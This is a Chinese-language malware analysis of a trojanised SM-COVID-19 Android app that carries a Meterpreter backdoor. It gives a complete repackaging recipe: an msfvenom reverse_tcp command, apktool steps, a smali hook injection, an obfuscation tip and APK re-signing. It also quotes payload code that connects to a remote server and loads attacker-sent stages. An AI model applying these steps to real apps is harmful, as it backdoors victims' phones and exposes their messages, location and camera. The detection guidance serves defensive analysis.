安卓木马分析:被感染的SM-COVID-19应用
SM-COVID-19是意大利公司SoftMining开发的APP,用于追踪病毒的接触轨迹。该应用被恶意软件开发者重打包,嵌入了MSF(Metasploit Framework 渗透测试框架)的Meterpreter后门。
攻击概述
攻击步骤
-
确定良性的载荷APK(SM-COVID-19)
-
使用MSF的
msfvenom
工具生成恶意负载APK(Metasploit APK)$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<url> # Remote Server IP
-
反编译载荷APK和负载APK
$ apktool d xxx.apk # use Apktool to decompile
-
将Metasploit APK中Meterpreter的smali代码复制到载荷APK的smali目录下
-
增加触发恶意代码的方法,即注入钩子(Hook)。例如,在入口点(即
AndroidManifest.xml
中包含intent-filter<action android:name="android.intent.action.MAIN"/>
的activity)的smali代码中定位onCreate()
方法,并在方法的起始位置添加一行smali代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
注:若要混淆
com/metasploit/stage/Payload
,还需修改Payload
目录下所有此路径的引用,并改变其自身的目录名。 -
将Metasploit APK的Manifest文件中的
uses-permission
(权限)和uses-feature
(软硬件依赖)等补充到新APK的Manifest文件中 -
打包新的APK
$ apktool b xxx.apk
-
重新签名
$ keytool -genkey -v -keystore <sig>.keystore -alias <sig> # java工具生成自签名keystore $ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <sig>.keystore xxx.apk <sig> # 使用keystore签名APK
攻击效果
当受害者在设备上启动受感染的应用后,原合法应用启动,但恶意代码会在后台连接攻击者的远程服务器。攻击者会获得一个可以执行各种命令的shell,如dump_sms
, geolocate
, webcam_snap
等。
定位恶意代码
-
简单情况:未混淆,恶意代码的包名有明显的层级
com.metasploit.stage
SHA256: f3d452befb5e319251919f88a08669939233c9b9717fa168887bfebf43423aca
-
中等难度:包名被混淆了,但Manifest文件与原应用不同。反编译新增组件的代码,以匹配Meterpreter代码
SHA256: 7b8794ce2ff64a669d84f6157109b92f5ad17ac47dd330132a8e5de54d5d1afc
-
复杂情况:Manifest文件与原应用相同。此时需要熟悉Meterpreter代码的特征,以搜索与其相似的部分(例如,硬编码的配置数组,涉及Socket的代码,
DexClassLoader
加载Jar文件的代码)SHA256: 992f9eab66a2846d5c62f7b551e7888d03cea253fa72e3d0981d94f00d29f58a
安卓Meterpreter
在安卓Meterpreter代码中,主函数入口点是MainActivity
,由它启动实例化了Payload
的MainService
。在最重要的Payload
类中,首先实现了以下操作:
-
读取硬编码的exploit配置
private static final byte [] configBytes = new byte[] { (byte) 0xde, (byte) 0xad, (byte) 0xba, (byte) 0xad, //placeholder /*8192 bytes */ 0, 0, 0, 0, 0,... }; ... Config config = ConfigParser.parseConfig(configBytes);
-
确保手机的CPU保持运转
PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE); // PARTIAL_WAKE_LOCK使得CPU在屏幕和键盘不工作的情况下仍保持运转 wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, Payload.class.getSimpleName()); wakeLock.acquire();
-
按需隐藏应用图标
if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) { hideAppIcon(); }
-
打开一个与远程服务器连接的socket
/* private static void runStageFromHTTP(String url) throws Exception { // 参数url是从恶意应用的硬编码配置中读取的 } */ private static void runStagefromTCP(String url) throws Exception { // string is in the format: tcp://host:port String[] parts = url.split(":"); int port = Integer.parseInt(parts[2]); String host = parts[1].split("/")[2]; Socket sock = null; if (host.equals("")) { ServerSocket server = new ServerSocket(port); sock = server.accept(); server.close(); } else { sock = new Socket(host, port); } if (sock != null) { DataInputStream in = new DataInputStream(sock.getInputStream()); OutputStream out = new DataOutputStream(sock.getOutputStream()); runNextStage(in, out, parameters); } }
连接建立后,远程服务器通过向恶意应用发送一个Jar文件来实现命令执行,不同的命令对应Jar中特定的类。Payload
接收Jar文件(stageBytes
),并调用指定类的start()
方法:
private static void runNextStage(DataInputStream in, OutputStream out, Object[] parameters) throws Exception {
if (stageless_class != null) {
Class<?> existingClass = Payload.class.getClassLoader().
loadClass(stageless_class);
existingClass.getConstructor(new Class[]{
DataInputStream.class, OutputStream.class, Object[].class, boolean.class
}).newInstance(in, out, parameters, false);
} else {
String path = (String) parameters[0];
String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String jarPath = filePath + ".jar";
String dexPath = filePath + ".dex";
// Read the class name
String classFile = new String(loadBytes(in));
// Read the stage
byte[] stageBytes = loadBytes(in);
File file = new File(jarPath);
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fop = new FileOutputStream(file);
fop.write(stageBytes);
fop.flush();
fop.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(jarPath, path, path,
Payload.class.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
file.delete();
new File(dexPath).delete();
myClass.getMethod("start",
new Class[]{DataInputStream.class, OutputStream.class, Object[].class})
.invoke(stage, in, out, parameters);
}
session_expiry = -1;
}
恶意代码触发方式
对应攻击步骤中的第5步。事实上,除了修改入口点代码,还有其它可选方式。在第二节给出的三个样本中,第一个忘记触发了,后两个都重写(override)了androidx.multidex
包下的MultiDexApplication
类,并将Meterpreter代码中MainService
的start()
方法放在里面(此处Meterpreter中类名经过混淆,MainService
即Xmevv
):
Android 5.0(API 级别 21)及更高版本使用名为 ART 的运行时,它本身支持从 APK 文件加载多个 DEX 文件。因此,如果
minSdkVersion
为 21 或更高版本,系统会默认启用 MultiDex,并且不需要 MultiDex 库。
参考文章